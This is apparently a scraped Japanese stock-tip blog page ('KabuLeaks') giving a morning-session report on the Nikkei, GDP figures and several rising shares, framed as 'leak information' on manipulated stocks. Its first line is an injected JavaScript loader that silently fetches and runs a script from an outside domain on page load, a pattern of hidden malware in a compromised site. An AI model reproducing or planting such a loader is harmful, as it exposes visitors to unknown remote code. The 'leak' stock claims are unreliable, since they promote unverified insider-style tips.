;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【8/17 前引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【8/17 前引け】

【3521】エコナックホールディングス 112円 -2 (-1.75%)

【8202】ラオックス 521 円 -8 (-1.51%)

【8306】三菱UFJフィナンシャル・グループ 869.4円 +5.4 (+0.62%)

前場の日経平均株価は70円高と反発。先週末の米株高を好感から買い先行スタート。引開始前に発表された、4~6月期の実質GDPは前期比年率1.6%減と大幅なマイナス成長となったが、市場予想の範囲内にとどまったことで、投資家心理を冷え込ませる材料にはならなかった。ただ、買い一巡後は徐々に戻りに押され上げ幅縮小、新規買いにはやや材料不足感が重しとなっている状況だ。

個別では、連結子会社であるブランジスタのマザーズ新規上場が承認されこれを手掛かり材料に【4346】ネクシィーズ、16年6月期営業利益は前期比5割増の見通しとなった【3457】ハウスドゥなどが大幅高となっているほか、iPS細心筋梗塞の新たな治療法の確立を目的として、信州大学先鋭領域融合研究群バイオメディカル研究所の柴祐司講師の研究チームと進めてきた共同研究で、一定の成果が確認できたと発表しており、これを好感した買いが入っている。IPS細胞を用いた再生医療技術の開発で一定の成果が確認できたの発表から【2176】イナリサーチがストップ高に。その他、【3264】アスコットや【4783】日本コンピュータ・ダイナミクスなどの上昇も目立っている。

市場はやや閑散としており、新規の買いは手控えられている様子。後場は手掛かり材料難からの売り仕掛け的な動きには警戒しておきたいところだ。